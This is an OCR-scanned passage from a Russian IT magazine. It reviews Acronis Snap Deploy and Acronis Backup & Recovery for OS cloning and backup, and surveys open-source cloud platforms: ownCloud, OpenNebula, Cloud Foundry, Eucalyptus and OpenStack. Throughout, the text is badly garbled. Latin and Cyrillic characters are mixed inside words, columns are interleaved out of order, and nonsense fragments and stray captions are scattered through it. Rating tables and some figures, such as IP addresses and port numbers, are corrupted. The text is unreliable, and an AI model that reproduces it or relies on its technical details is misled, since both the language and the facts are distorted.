ентских/серверных систем процесс развертывания 0С, драйверов и приложений может быть достаточно сложным и занять достаточно много времени. Чтобы облегчить труд сиса.дминов, в недраХ Мiсгоsоft разрабатывается целый ряд специальных инструментов [Windows Dерlоуmепt Seгvices, Micгosoft Dерlоуmепt Toolkit и System Сепtег Сопfiguгаtiоп Мапаgеr), обеспечивающих возможность установки 0С с последующим накатом всего, что нужно,-при помощи готовых настроек, При этом WlМ-образ lWindows lmaging FогmаtJ со всеми патчами и файл

12о

#

v a

0тветOв, автOматизирующии устанOвку, предлагается сOздавать средствами WAlK (Windows Automated lnstallation Kit, см. статью <Самосборные oKHau, ][_01_2009]. Единственное затруднение: настройка среды потребует некоторого времени, а в последующем конфигурацию придется уточнять по мере необходимости. возможность учитывать Главное достоинство такого метода особенности оборудования каждого компьютера и будущего рабочего места. !ругой подход к автоматизации процедуры развертывания заключается в клOнирOвании систем из сOзданног0 дискового образа. Принцип весьма прост: устанавливаем на шаблонный ПК 0С и все нужные приложения, затем клонируем

-

хлКЕР

09 l1b1,1

2012


Развернуть и настроить

.,

Вас лриветФву€т

железо, но и для быстрого восстановления или sозврата системы в исходное состояние. Последнее может понадобиться при обучении или в тOм случае, кOгда кOмпьютерOм пOльзуются несколько человек lнапример, в интернет-кафеl. Предусмотрено и так называемOе пOльзOвательскOе развертывание, когда его инициирует сам пользователь, выбравший соответствующий пункт в меню загрузки ОС. 0браз может быть сохранен на жесткий диск сервера {рекомендуетсяJ, сетевой ресурс, CDi DVD/Вlu-гау или USВ-устройство. Если образ не помещается на один CDi DVD, будет запрошен следующий, Поддерживается несколько степеней сжатия, но это потребует большего време{/ и ресурсов, При помощи ASD поддерживается установка 0С Windows, начиная с NT/98, и Linux, снятие образов с файловых систем FАТ, NTFS. ехt2lЗll, RеisеrFS, Rеisег4, XFS, JFS и Linux Swap. Предусмотрено посекторное снятие образа и развертывание 0С с официально не поддерживаемых ФС.

"sruol.ехаmрlе.оrg'

ф! 1

f

liг]fi,!ý!Бt!сгllп В работе с Дсrопi5 Sпар Deploy очень помогают

В процессе развертывания coBpeMeHHbix Wiпdоws-версий ASD позвOляет изменить некOтOрые параметры ил4яl сетевые настройки, членство в домене / рабочей группе, идентификатор безопас-

ма(теры

системнь й раздел и размножаем его на остальные ПК,0тличный способ, когда нужно развернуть или восстановить работоспособность множества систем стандартноЙ конфигурации, в том

ности slD lsесuгltу ldепtifiег], лицензию. Этим дsD отличается от других подобных систем клонирования 0С. которые, как правило, не умеют управлять SlD, и, чтобы сделать его уникальным, приходится задействовать дополнительный инструмент Sуsргер (System Ргерагаtiоп Tool]. Также на целевой машине можно запустить приложение или скрипт, скопировать файлы. flля удобства можно создавать шаблоны развертывания и использовать их в последующем. Еще один важный момент программа умеет изменять размер томов в зависимости от наличия свободного места на целевом диске, подгоняя итоговь й размер (растягиваяJ или оставляя его как есть (с незанятым пространством). Проблему установки 0С на оборудовании, отличном от мастерПК, решает дополнительный модуль Асгопis Universal Dep оу (AUD], который поставляется за отдельную плату и способен автоматически настраивать драйверы Windows.

числе в виртуальной среде. Этот вариант проще и понятней в реализации и быстрее при развертывании, хотя не такой гибкий, как предыдущий, поскольку при изменении состава ПО или при использовании другого оборудования необходимо создавать новый образ [кстати, никто не мешает подготовить несколько слепков, чтобы охватить все ситуации]. В Асrопis Snap Dep оу используется второй вариант, но со своими нюансами. В общем и целом процесс выглядит следующим образом, Администратор создает мастер-образ эталонного ПК с предустановленной Windows или Linux и отправляет его на сервер, Новый ПК при помощи РХЕ загружает специальный агент, который закачивает и разворачивает образ. Если BlOS кOмпьютера не пOддерживает сетевую загрузку, агент можно запустить при помощи загрузочного CD/DVD, USB или дискеты, кOтOрые создаются при помощи самого ASD. Поддерживается индивидуальная (для конкретного МАС) или многоадресная передача llP 2З9.255.2']9.45), позволяющая развернуть одновременн0 нескOльк0 систеN4. снижая тем самым нагрузку на сеть и ускоряя процесс ввода ПК в эксплуатацию. Также возможна установка значения TTL для многоадресной рассылки, что пOзвOлит 0граничить распрOстранение сетевь х пакетов через шлюзы. Все действия заносятся в журнал, поэтому проследить события совсем не сложно. Шаблонный образ можно развернуть вручную или по распи-

-

-

решения поставленных задач ASD использует несколько компонентов: сервер развертывания (Deploy Sеrчеr], консоль управления, РХЕ-сервер, агент управления и сервер лицензий, которые могут быть установлены на ПК под управлением Windows ХР и выще. Еще один компонент Wake-on-LAN Рrоху позволяет включать компьютеры, находящиеся в другой ,Щля

-

санию. Предусмотрено

так называемое

-

-

(оперативное>) создание

образа, которое производится на работающей системе. flля этого на ПК должен быть установлен агент, который также попадет на диск, что не всегда желательно. Поэтому более рациональным считается автономное создание образа, когда компьютер загружается при помощи загрузочного носителя Асгопis. Если компьютер сOдержит нескOльк0 дискOв и разделов, мастер создания образа позволяет отобрать нужные (не поддерживаются динамические

.!щ@_fr. й

с-*ф

сетёвье яабройки

дискиидискисGРТl.

mlr*тmilпЕm 0чень удобно, что в качестве эталонного может быть использован образ, который создается программой резервного копировани.я Асгопis Тruе lmage или Асгопis Backup & Rесочегу, За счет этого при

0рганизации периодического бэкапирования снимаются все вопросы об актуальности П0 и наличии всех заплаток для каждого хоста. В версии ДSD 4 также поддерживается Virtuаl Нагd Disk (VHD], созданный программой архивации Win7, Viгtuаl РС или Асгопis. Поэтому такая схема удобна не только для развертывания 0С на голое хлкЕр

09 l1b1,1

2а12

t

Настройка параметров РХЕ-агента

в

окне кон(оли Асrопi5 Sпар 0eploy


РХЕ-ФЕр н.'srФl.еЁmрlе.оrg" а

+Jt

},*э-)л.

B:?;.-!:;i,;l-,":

, ..n1

. Ч..въ;.:

:51

фФ9фr

Лосле настройки компоненты долххы быть переданы на РХЕ-сервер

подсети, куда не проходит сигнал Wake-on-LAN. Компоненты можно устанавливать на одну или разные машины. Учитывая, что Deploy Sегчег обычно хранит все образы, может понадобиться хард большой емкости. rД,ля консоли управления подойдет обычный ПК, работающий под управлением десктопной версии Windows. Также с помощью консоли можно установить на удаленные системы остальные компоненты ASD, для чего необходимо перейти

в

"Сервис

) Установить

компоненты

удаленно>,

затем выбрать нужное в %Ргоgrаmtilеs%\Соmmоп Filеs\Асгопis\ SnapDeploy\Remotelnsta1l и указать lР или имя ПК. При этом потребуются права администратора, Если удаленный ПК работает под управлением Wiп7, обязательно отключи UAC. Загрузочный носитель может быть двух типов, оба имеют сходный графический интерфейс, но отличаются набором компонентов, Так, загрузочный носитель Асгопis основан на Linux и рекомендуется в большинстве случаев. Если оборудование распознается неверно, следует использовать загрузочный носитель РХЕ, собранный в среде WinPE lтребуется WAlK]. После сборки загрузочных компонентов их следует передать на выбранный РХЕ-сервер. ,Щля управления используется графическая консоль и средства командной строки. Сам процесс инсталляции компонентов ASD и последуюцая работа в консоли производятся при помощи понятных мастеров, сводящих к минимуму риск некорректной установки параметров, Названия пунктов меню четкие и конкретные, к тOму же прOдукт хOрOш0 документирOван и лOкализ0ван, поэтому проблем с его использованием обычно не возникает. Послезапуска консоль подключается к локальному серверу; если нужно управлять компонентом {сервер, сервер лицензий, РХЕ-сервер и агент управления), находяtлимся на другой машине, выбираем пункт меню.Подключиться> и указываем lР-адрес, Создание и настройка образа производятся из меню .Экран приветствияо. Все соединения между агентом и сервером защищены, что позволяет избежать перехвата информации. При использовании РХЕ для установки 0С есть одна опасность: если в BlOS по ошибке будет 0ставлена сетевая загрузка, пOльзOватель мOжет инициирOвать инсталляцию. Поэтому программу установки лучше защитить паролем, введя его в соответствующем окне мастера..Д,ля обеспечения работы РХЕ в сети должен быть активен DHCP-cepBep. Лицензии на ASD требуются для каждой развертываqмой машины:'на любое количество установок на конкретной машине или одну успешную установку на любой машине (отслеживается серверная по МАС-адресуl, Лицензия может быть двух типов или ПК, по мере установки они обычно распределяются автомати,чески. Но если мастер рdзвертывания не знает, какой тип лицензии применить на текущую установку, будет выдан запрос.

-

122

ASD умеет снимать образ раздела, но не может заменить специализированные приложения для резервного копирования. Полные копии харда, включающие пользовательские данные, будут занимать значительное место, грузить сеть и требовать больших ресурсов для обработки. Кроме того, найти и восстановить отдельный файл с его помощью проблематично, придется разворачивать весь образ, Поэтому в данном случае стоит обратить внимание на более гибкие специализированные решения, например на Асrопis Backup & Rесочеrу (ABR), который являе-ся продолжением линейки популярного Асгопis Тгuе lmage. ABR предназначен для создания резервных копий и восстановления данных на десктопах, серверах и виртуальных машинах (VМwаrе, Нуреr-V, ХепSегчеr, Red Hat Епtегрrisе Viгtualization и Раrаllеls Sегчег], Необходимые функции реализованы соответственно в версиях Woгkstation, Sегчег и Viгtuаl Edition, С помощью ABR можно забэкапить весь жесткий диск, раздел [поблочное и посекторное копирование) или отдельные папки и файлы по выбору пользователя. Мастер создания резервных копий позволяетуказать шаблоны файлов, которые нужно исключить, поэто[4у результат будет содержать только то, что действительно важно. Созданный образ можно просматривать в Проводнике как обычную папку или подключить к системе как диск и работать с ним в режиме чтение/запись или только чтение. При этом для создания копии нет необходимости останавливать систему. По сравнению с ASD поддерживается большее количество типов дисков: MBR и GPT, базовые и динамические. Распознаются данные MS Exchange и SQL Sегчег, поэтому администратор может найти и восстановить копию письма или любого файла. Предусмотрена возможность шифрования и сжатия результирующего

I .

cLONEzlLLA-

06 использовании WindOws AlK читай в (татье (самосборные окна) в 0'l/2009 ноиере l[.

ОПЕНСOРСНАЯ АЛЬТЕРНАТИВА

.

Подробно о настройке WindoW5 Dерlоуmепt service5 читай в 06/2007 выпу€ке l[.

Чтобы клонировать 0С, не обязательно покупать проприетарный Асгопis, можно выбрать один из проектов с 0реп Sочгсе лицензией. Наибольшей популярностью пользуется Clonezilla lсlопеzillа.огg ), котOрая позволяет сOздавать и восстанавливать 0С из образа. 0фициально поддерживается большое количество ФС, используемых в Liпчх lвключая LVM], Windows, *BSD, Мас 0S Х и продуктах vМwаге, в которых резервируются только занятые блоки lиспользуется Раrtсlопе, Раrtimа9е или ntf sclonel. 0стальные можно (снять> посекторно, для этих целей применяется dd. Поэтому каких-либо ограничений по 0С нет. Результат сохраняется локально, на сменный носитель и удаленный сервер lSSH, SMB, NFS|. Специальная версия Clonezilla SE (Sегчеr

Editionl позволяет клонировать образы на несколько систем при поtlоtли РХЕ, multicast. в том числе с использование}.,| Конечно, все настройки DHcB РХЕ, ТFТР и NFS потребуется произвести вручную, н0 они хорOш0 документирOваны, проблем быть не должно.

.

ДляvМWаrечsрhеге

или 1,1s нуреr-v возмOхн0 использование единог0 аrента для хостмащины, позволяюцего контролировать сразу в(е vM.

.

Асrопi5васkчр&

Rесочеrуsеrчеr поддерживает х86/х64 0С WindoW5, начиная от 2k5P4 и Liпчх, файловые системы FАт16/з2, NтFs, ехt2/зД, RеisегFs, хFs и JF5.

I

. ДляработыАсrопis universal Deploy требуется открытьТСР/445,

тср/9876, UDP/9876, UDP/9877, тср/25001 и для РХЕ- UDP/67-69.

.

чтобы пользователь

не моr случайна иници-

ировать РХЕ-установку, на(тройки лучще заlцитить паролем.

поэтOму

х^кЕр 09/164l2012


Развернуть и настроить

Подмючение к'sruol.example.org'

Посjедние оповецеяия

(0 и] 0) .',__]

--.

-___

Кон(оль Асгопis Васkчр & Rесочеrу sеrчег

Создаем план резервного копирования

образа, ограничение нагрузки на сеть, автOматическое разбиение кOпии на части, выполнение команд перед операцией и после операции. Новая резервная копия может создаваться одноразово, по расписанию и при наступлении определенного события [например, выход пользователя из системы). Кроме этого, предустановки содержат несколько готовых схем. Все это дает админу гибкие вOзмOжнOсти управления процессOм. Резервное кOпирование может выполняться на устройства хранения SAN/NAS, оптические приводы и ленточные устройства, сетевые папки и FТР-сервер. Причем мастер резервного кOпирOвания пOзволяет указать до пяти мест хранения файлов, повышая тем самым избыточность, В процессе хранения можно перемещать устаревшие кOпии из 0днOг0 хранилища в другое. ,Д,ля компьютеров, которые часто находятся вне локалки, можно задать бэкап в специальный раздел жесткого диска Асгопis Sесuге Zone [ASZ, по сути, это FАТЗ2 с меткой ACRONlS SZ и кодом рагtitiоп type 0хВС), заtцищенный от вирусов и скрытый от пользователя. Удобно, что восстановить данные из ДSZ можно очень быстро, н0 эт0 не спасает в случае выхOда из стрOя самOг0 жесткого диска. Модуль дедупликации экономит дисковое пространство, устраняя дублирование идентичных данных: если в хранилище уже имеется архивируемый файл, то просто создается ссылка. Для обе-

спечения целOстности данных на уровне приложений используется технология теневого копирования Windows VSS lVo]ume Shadow Сору SеrчiсеJ.,Щля хранения предлагается собственное онлайновое хранилище Асгопis Backup & Rесочегу 0nline, которое можно испOльзовать как вместе с решением от Асгопis, так и отдельно. ,Д,анные в таком хранилище доступны из любой точки, что позволяет защититься от форс-мажорных обстоятельств вроде стихийного бедствия или кражи техники,,Щля уменьшения трафика можно заполнить хранилище полной копией один раз, а в последующем 0тправлять тOльк0 измененные данные. При бэкапе данных с виртуальных машин можно установить агент и контролировать его работу точно так же, как при работе с физическим сервером. flля VМwаге чSрhеге или lr-4S Нурег-V возможн0 испOльзование единOг0 агента для хOст-машины, позволяющего контролировать сразу все VM. Снимки позволяют быстро восстанOвить работоспособность 0С на подобном или отличающемся железе, в последнем случае понадобится Асгопis Uпiчегsаl Rеstоге. Его функции схожи с AUD и позволяют легко перенести сервер на другое оборудование в ходе модернизации, выполнить P2V-, V2P- и V2V-миграцию или клонировать 0С. В том числе поддерживается автоматическая смена идентификатора безопасности Windows SlD lSесuгitу lD). Если компьютер не запускается из-за краха 0С или разрушительного действия вирусов, работоспособность 0С можно восстановить из загрузOчнOг0 меню или с пOмOщью специальнOг0 диска, Как и положено программе бэкапа, поддерживается полное, инкрементное и дифференциальное копирование, что позволяет уменьшить размер сохраняемых данных, Алгоритм инкрементного бэкапа использует данные NTFS, а не пересканирует весь диск, поэтому нужнь]е файлы находятся бь стро и такая копия создается в кратчайшие сроки, Поддерживается х86/х64 0С Windows, начиная от 2kSP4, и файловые системы FДТ16lЗ2, NTFS. Версия для Linux будет работать на любых дистрибутивах Linux 2.4.20+ и glibc версии не ниже 2.З.2. 0фициально поддерживаются RHELiCentOS, tеdога, SLES, Ubuntu, Debian и файловые системы ехt2lЗl1,, ReiserFS, ХFS и JFS. Стоит 0тметить, что при использовании последних трех ФС нельзя восстанавливать отдельные файлы. ,Щля небольших групп компьютерOв предназначены версии ABR, не имеющие централизованного управления, задания при этом устанавливаются локально.,Д,ля больших организаций следует выбирать вариант с приставкой Advanced. Лицензируется ABR по количеству компьютеров, но для Viгtuа Edition возможно неограниченное число миграций P2V, V2P илиY2\ на хост-машину и обратно. ЗЕ

]создание зоны безопасноqи Acronis

и(Фщп!Фььd@в

Для быстрого во(становления

хдкЁр

09

l1b1,1и12

данных мохно использовать зону безопасноGти Асгопis


Сергей Яремчук lgriпdеrlа5упасk,rч] lJlартин Пранкевич |mаrtiпlаsупасk.гU]

п

ГрозовьIе облака

,.

ш

и ",ш'

0РЕN SOURCE РЕШЕНИЯ ДЛЯ ОРГАНИЗАЦИИ SAAS/IAAS, сп 0сOБн Ь! Е и3]tl Ен итЬ и НФ0 Р]t{Аци0 н Н bl Е тЕхНOлOгии и то, кАк lt{ы их вOспРиНи],lАЕi,| Благодаря таким преимуществам, как относительная доступность, гибкость и экономия ресурсов, облачные вычисления стали одним из главных lТ-трендов этого года. Многие органи3ации уже задумались надтем, чтобы внедрить облачные решения и продукты виртуализации в свои инфраструктуры. Надеемся, данный обзор поможет определиться с выбором.

хАкЕр

09/]6412012


Грозовые облака

oWNcLOUD Л

л_

Разработчик: ownCloud lпс. Сайтпроекта:оwпс|оud.огg

llпцarзия:ьNUАорL

0дин из самы1 известных опенсорсных проектов, предназначенных для организации работы сlоud-хранилища. По функционалу напоминает сервисы DгорЬох. box.net, Google Docs и Ubuntu 0ne, но 0тличается вOзмOжностью полного контроля над данными. Изначально развивался сообществом KDE, но впоследствии основатели проекта сOздали коммерческую компанию ownCloud lnc., в задачи которой входит предоставление сервисов на базе ownCloud и платная поддержка. В будущем планируется продавать и готовый сервер с предустановленным ownC oud. Продукт быстро развивается, новь й релиз с еще большими возможностями выходит каждые три месяца.,Щля доступа к данным используется обычный веб-6раузер или прOтокол WebDAV, который поддерживается во всех современных 0С и позволяет настроить дOступ к хранилищу как к сетевому диску, облегчая загрузку. изменение и сохранение данных любых типов. Также неда8но появился специальный клиент ownCloud Sync С ient, предоставляющий возможность синхронизировать данные с настольной системой, которая работает под управлением Linux, Windows или Мас 0S Х. Начиная с версии З, в состав ownCloud входит онлайн-редактор, позволяющий редактировать текстOвые файлы (в том числе исходные тексты программ) прямо в браузере, Поддерживается просмотр РDF- и 0DF-файлов, календарь, закладки, адресная книга, интерфейс для ведения списка дел TOD0, контроль версий файлов, шифрование, проигрывание музыкальных файлов. Те, кто имеет доступ, могут просмотреть рисунки в фотогалерее пользователя. Возможна синхронизация файлов и календаря, адресной книги с мобильным устройством или настольным приложением, а также с другими подобными системами, поддерживающими протокол ге m

oteSto

га

9

е.

Пользователь самостоятельно указывает, кто может прочитать сохраненные им файлы. flоступ к файлам и каталогам может быть предOставлен для зарегистрированных пользователей и групп ownC|oud lпосле открытия доступа они увидят их в меню <Файлы shаrеdu) или в виде прямой ссылки, генерируемой пользователем (не требует регистрацииl, Реализован удобный поиск по данным, есть вOзмOжнOсть установки квот и ограничений на максимальный размер файлов, Поддержка 0реп СоllаЬогаtiоп Sегчiсеs АРl позволяет отправлять сообцения другим пользователям через стандартный механизм нотификации KDE. Поддерживается работа со службами 0репlD и LDAP Правда, комфортная работа с ownC oud гарантируется только при использовании последних версий Fiгеfох, Сhгоmе и 0реrа, с некоторыми версиями lЕ навигация может быть затруднена. Также возможны проблемы с отображением данных на некоторых планшетах. В интернете для оwпСlоud можно найти большое количество расширений и приложений Арр Stоге, позволяющих сделать работу с ownCloud еце более удобной |например, плагин для совместного поддержания фотоальбома; музыкальньiй сервер, позволяющий прослушивать собственную музыкальную коллекцию с любого устройства в сети; хранилище подкастов и видеороликов с доступом через веб-интерфейс или через медиаплеерl. Интерфейс системы переведен на многие языки, в том числе и русский. Oсвоить интерфейс без больших затруднений сможет пользователь с любым уровнем подготовки. Система написана на РНР lдля установки и работы требуются модули php5-json, рhр-хml, php-mbstring, php5-zip, php5-gdl, в качестве СУБfl может быть использована SQLite, РоstgгеSOL или MySQL, По сути, для развертывания требуется стандартный LAMP- или WAMP-cepBep. Чтобы установить лимиты на выделяемую память, загрузку и размер файлов, в конфиге php.ini следует изменить значения директив mеmогу limit, post_max size и mах_

_

хАкЕр

09/]6412012

Для доступа

к

данным owncloud используется

обычный ве6-браузер

file_uploads в большую сторону lB случае Ubuntu/Debian php.ini находится в каталоге /etc/php5/apache2). Возможно использование защищенного НТТРS-соединения, для этого необходимо лишь сгенерировать сертификат сервера.

Фун кциональность

Производител ьность Простота использования

Безопасность

9l10 8/10 tл_м_л_лд

Масчlтабируемость

10/10

9l10 8/10

0PENNEBULA ,, Л__

Разработчик:OрепNеЬчlа/Сl2GLаЬs Сайтпроекта:ореппеЬчlа.оrg

r,пц""зtrя:АраспеLlGепsе

Платформа, предназначенная для организации управления виртуализацией центра обработки данных. Позволяет поднять laaS lинфраструктура как сервисl, похожую на Amazon ЕС2, но полностью подчиненную админу. В отличие от других подобных проектов, разработчики своей целью ставят возможность реализовать весь потенциал, заложенный в облачной концепции, а не просто создать

Пользователь может редактировать текстовые файлы, хранящиеся в оwпСlочd, прямо в окне браузера


удобное средство управления гипервизором. 0ткрытая архитектура позволяет подключить 0penNebuIa к любой платформе или менеджеру управления виртуализацией, Поддерживаются интерфейсы управления к Public Clouds и гибридные облака, позволяющие объединять местную инфраструктуру и публичные облака, что дает

возможность легко масштабировать среду в случае необходимости [например. при нехватке ресурсов). Соответственно, можно также динамично добавлять и исключать собственные виртуальные серверы, добиваясь нужного уровня производительности сервиса. При этом облачную среду могут использовать несколько организаций или мOжн0 прOст0 сдавать ресурсы в аренду с делегирOванием пOлномочий и настройкой квот, flля удобного управления виртуальными ресурсами и учетными записями используется несколько уровней абстракции. Так, физические серверы объединяются в кластеры, а установки 0penNebula в зоны {oZones}. Кроме того, используется кOнцепция групп, каждая из кOтOрых мOжет иметь индивидуальные установки и набор доступных ресурсов, не пересекающихся с остальными. Присутствует возможность задания одной из четырех политик размещения ресурсов в дата-центре [Data Сепtег Placement Policiesl. Например, при выборе packing будет использовано минимальное число серверов для размещения VM. !ля управления элементами физической и виртуальной инфраструктуры используются утилиты командной строки lопечm, onehost, опеusег, oneimage и так далее) и несколько ве6-консолей. На конечных пользователей ориентирован Self-Seгvice Рогtаl, администрирование сlочd-окружений выполняется при помоши 0penNebula Suпstопе, для управления несколькими зонами одного пользователя служит 0репNеЬчlа Zones. Консоли включают средства для развертывания виртуальных окружений, управления образами и сетями, мониторинга {интегрирована система Ganglia), контроля доступа, обеспечения безопасности и управления хранилищем. N4енеджер виртуальных

-

сетей

позволяет

абстрагироваться

от

физической

сетиl

управлять

виртуальными средами и изOлирOвать некOтOрые из них. Физические узлы кластера в настоящее время могут использовать Xen, KVM и VМwаге, кроме того, обеспечивается дополнительная поддержка Нурег-V, 0penVZ, ViгtuаlВох. Реализован интерфейс к Amazon

сLOUD FOUNDRY Cloud Fочпdrу lcloudfoundrv.orgl представляетсобой открытый РааS-сервис lPlatform as а servicel, позволяющий разработчикам тестировать свои прилох(ения на t"tножестве фреймворков и языков програ1.1рtирования: РНР, Python, .NET, Sргiпg Java, Rails и Siпаtга fоr Ruby, Node.js, Grоочу, Grails, которые могут взаимодействовать с различными СУБД lMySaL, РоstgгеSQL, МопgоDВ, Redis, RabbitMQ, Neo4J). Фактически пользователю предоставляется уже готовый набор различных сред, который не нужно разворачивать, достаточно лишь загрузить написанную програ1.1му. Развитием Cloud Fочпdгу занимается VМwаrе, исходный код под лицензией Apache опубликован на GitHub, и, по сути, это первый 0pen Source РааS-проект проl,,lышленного уровня. В настоящее время несколько хостеров уже предлагают сервис, основанный на Cloud Fочпdгу. При необходимOсти можн0 развернуть сOOтветствующую среду саtlостOятельно. В Ubuntu для этого достаточно использовать JuJu или подключить репозиторий ppa:cloudfoundry/ppa, в котором уже есть готовые пакеты. В поставке Cloud Fочпdrу имеется несколько тестовых при-

ЕС2, поддерживается APl ЕС2 Qчегу, 0GF 0ССl и vCloud. Хранилище образов дисков поддерживает SAN и NAS, для доступа к ним с любого узла кластера посредством Тгапsfег Мапаgег можно использовать протокол NFS, SFТР, НТТР или их комбинацию. ,Д,ля хранения параметров 0репNеЬulа устанавливается MуSQL или SQLite.

-

Развитие 0penNebula финансируется несколькими спонсорами,

в этом списке можно найти как государственные, так и коммерче-

ские организации. Среди тех, кто использует 0penNebula: cERN, FегmiLаЬ, Сhiпа Mobile, Европейское космическое агентство и другие. Проект предлагает готовые пакеты для установки на Ubuntu, Debian, openSUSE и RHEL/CentOS. Также следует отметить весьма подробную документацию проекта (на английском].

Функциональность Производительность Простота использования Безопасность i,lасштабируемость

10/10

9l10 9l10 9/10

9l10

EUCALYPTUS ,:,.,i,...

J

л_

.

Разработчик:Ечсаlурtч5Sуstеms,lпс. Сайтпроекта:чaщцGщаЦдt!дlgm

Лrц.rrия:GNUGРL

Программная платформа для реализации частных и гибридных о6лаков llaaSl, экспортирует интерфейс, совместимый с Аmаzоп ЕС2 [Аmаzоп Web Sегчiсеs APl) и SЗ. Проект начат как исследовательский в недрах Univeгsity of Саlifогпiа, Santa ВагЬаrа и стал одной из первых разработок,

предлагаюlлих

комплексную

архитектуру

управления laaS. С 2009 года его развитием и коммерческой поддержкой занимается Eucalyptus Systems, lnc. Некоторое время предлагались два издания: 0репСоге Епtегргisе Edition и Open Sоuгсе. С лета 20'12-го развивается единая 0реп Sоuгсе версия Iвероятно, к этому решению разработчиков подтолкнуло стремительное развитие 0penStack и CloudStack]. Сегодня Eucalyptus используют в Министерстве обороны США и NASA, а также многие именитые компании, например Sony, lnfosys, Аеrоsрасе, Fuji Film. Заявлена поддержка таких технологий виртуализации, как Хеп, KVM и VМwаrе. Несколько кластеров можно связать в единое облако. Реализованы настраиваемые политики уровня обслуживания и доступа, возможность управления lP, учетными записями пользо-

лохений] которые мохно запустить для проверки работоспособности. Также можно использовать специальный дистрибутив Stackato (activeState.com/stackato). 0сновным KoHKypeHTol.,| СlочdFочпdгу является РааS-платфор}.{а .0penShift (https://ooenshif t.redhat.com/apol, открытая в апреле 2012 года Йомпанией Red Hat,

12q

Интерфейс 0репNеЬчlа 5чпstопе

хАкЕр

09 /16а12012


Грозовые облака

вателей и групп, подсистема отчетов. Кроме стандартного способа получения lР для гостевых 0С lDHCP, статический], администратор мOжет сOздавать пOдсети с 0пределенными правилами. Платформа состоит из пяти основных компонентов, организованных в виде отдельной службы и имеюцих свой веб-интерфейс: Cloud Сопtгоllег, Сlustег Сопtrоllеr, Wаlгus, Stогаgе Сопtгоllег и Node Сопtго]lеr. Также предоставляется набор инструментов командной строки euca2ools, который может быть использован для управления Eucalyptus и другими сервисами, совместимыми с AWS APl. flля безопасной связи между внутренними процессами используется протокол SOAP и его расширение WS-Secuгity. Развертывание облака при помоци Eucalyptus не всегда происходит гладко и требует обращения к документации по многим вопросам, В первую очередь следует обратить внимание на два руководства: Аdmiпistгаtог's и Usеr's Gulde. Разработчики предлагают репOзитории и пакеты для большинства популярных дистрибутивов Linux Ubuntu, Debian, SLES/openSUSE, RHEL/CentOS и Fеdога,

-

Фун кциональность

9l10

П

роизвод ительн ость Простота использования

8/10

Безопасность

7l10 9l10 9l10

М

асшта

б и

руемость

0PENSTACK Л

л_

Разработчик: 0penStack Fочпdаtiоп

Сайтпроекта:орепstасk.оrg rt"цензия:АраспеLlсепsе

Проект возник в июле 2010 года s результате слияния двух проектов, разрабатываемых Rackspace Hosting lRackspace Cloud Files] и NASA (Nebuial. 0сновная задача предоставить всем желающим возможность создать свое собственное облако без каких-либо ограничений. Проект развивается весьма активно, новые версии выходят по мере готовности без какого-либо стабильного цикла выпуска релизов. Каждый релиз получает свое имя, начинающееся со следующей буквы алфавита lAustin, Вехаr, Cactus.,.l. Сегодня к разработке 0penStack присоединилось более 150 компаний, среди которых такие гиганты, как Cisco, НР, De1l, AMD, lntel и NEC. !о недавнего времени в этом списке была и Сitгiх, но она перестала поддерживать OpenStack в интересах своего CloudStack. В версии 11.10 (0пеiгiс 0celot] для построения облачной платформы Ubuntu более простой в настройках и неограниченный в возможностях 0penStack заменил использовавшийся до этого Eucalyptus. 0penStack изначально имеет модульную структуру, включающую три основных компонента (каждый может состоять из нескольких сервисов): Nova- контроллер вычислительных ресурсов locHoBa laaS];

-

. . .

Swift-масштабируемаясистемахраненияданных;

Glапсе-сервис поиска с

и

хранения образов виртуальных машин,

поддержкой обновления объектов, репликацией, обеспечением

целOстнOсти и вOзмOжнOстью предOставления статистики,

Впоследствии к ним добавился сервис идентификации, аутентификации и политик lKeystone], а также модульное Djangoве6-приложение, предоставляющее конечному пользователю интерфейс ад'министратора для управления сервисами -0penStack DаshЬоагd [Ногizоп]. с версии Essex в 0penStack используется сетевая подсистема Quantum, позволяющая создавать сетевые топологии любой сложности с поддержкой политик. Поддержка в Quantum плагинов и открытЫй APl дают возможность в будущем добавитьлюбые функции lнапример, f iгеwаll, lDS/lPS, балансировку

хдкЁр

09 /16l+/2012

Управление сервисами

в

0кне 0penstack Horizon

нагрузки, VPNl. В настоящее время доступно несколько плагинов, обеспечивающих подключение: 0реп vSwitch, Cisco UCS/Nexus, Linux Вridgе, Niсirа NеtwоrkViгtuа ization Рlаtfогm и Ryu 0репFlоw Сопtrоllег Plugin. В качестве технологий виртуализации могут выступать KVM, Ulr-4L, ХепSегчег/ХСР, VМwаге, LXC и QEMU. Поддерживается Live lt4igгаtiоп, квоты на ресурсы, шаблоны, ролевая модель доступа RBAC, подключаемые диски и многое другое. По умолчанию в Nova доступно пять преднастроек VM {flачог type), в которых описывается количество CPU, размер 0ЗУ и жесткого диска, при необходимости можно создавать свои флаворы, Более высокой организационной структурой являются проекты, включаюцие в себя отдельные подсети, хранилища, образы, ключи и учетные записи. ,Щоступны репозитории для Ubuntu, Debian, RHEL/CentOS и Fеdога, openSUSE/SLES. В остальных 0С развертывание можно произвести при помоши исходных текстов,,Щля быстрого создания 0репStасk-облаков на виртуальных машинах или физическом оборудовании можно использовать скрипт Devstack [Ссчltасk,огg], Чтобы установить 0penStack в Ubuntu П.lаl12,0l. или Fеdога 16, достаточно скачать и выполнить скрипт stack.sh lпо ссылке c@lslack. огglsiqсli,sл,htrп можно найти хорошее описание его работы).

$

git

сlопе git://glthub.com/openstack-dev/devstack.glt

$ cd devstack; ./Stack,sh

Развернуть 0penStack на нескольких серверах можно при помощи Puppet [инструкции можно найти по адресу qqq.$LllДlt], СгоwЬаг или Chef. Разработчики дистрибутива StackOps (stасЦорs.огg] предлагают готовую сборку на базе Ubuntu, позволяюцую быстро развернуть нужное количество серверов 0penStack. Правда, текуцая стабильная версия 0.3 использует Diablo, поэтому лучше взять пока тестовую 0,5 с более свежей версией 0penStack. Проект также предлагает готовые образы VM для запуска на KVM. Также протестировать свои приложения в 0репStасk можно, обратившись в бесплатный сервис ТrуStасk [tгуstqgk.qщ], поддерживаемый Cisco, De]l, Equinix, НР, NTT и Rackspace. В России поддержкой 0penStack занимается Russian 0penStack Community, на страничках сайта Qlelrstack.r]] доступна информация по продукту, хорош о допол н я ю щая оф и !1Ц|, о!е!ý]ас!, o(j ].

и

циал ьн ы е до ки

(фо с s, о р

ед5lас

k.

о г

g

Кроме Ноrizоп, для управления 0penStack используются командные утилиты lnova, nova-manage и прочие), которые поддерживают все доступные функции и стандартные клиенты, совместимые с Дmаzоп ЕС2 leuca-tools],

Фун кцион ал ьн ость

ность Простота использования П

роиэ водител

ь

Безопасность Масчrтабируешость

4_5______ л.*_____ _5______ __'-___5 л4___л_л

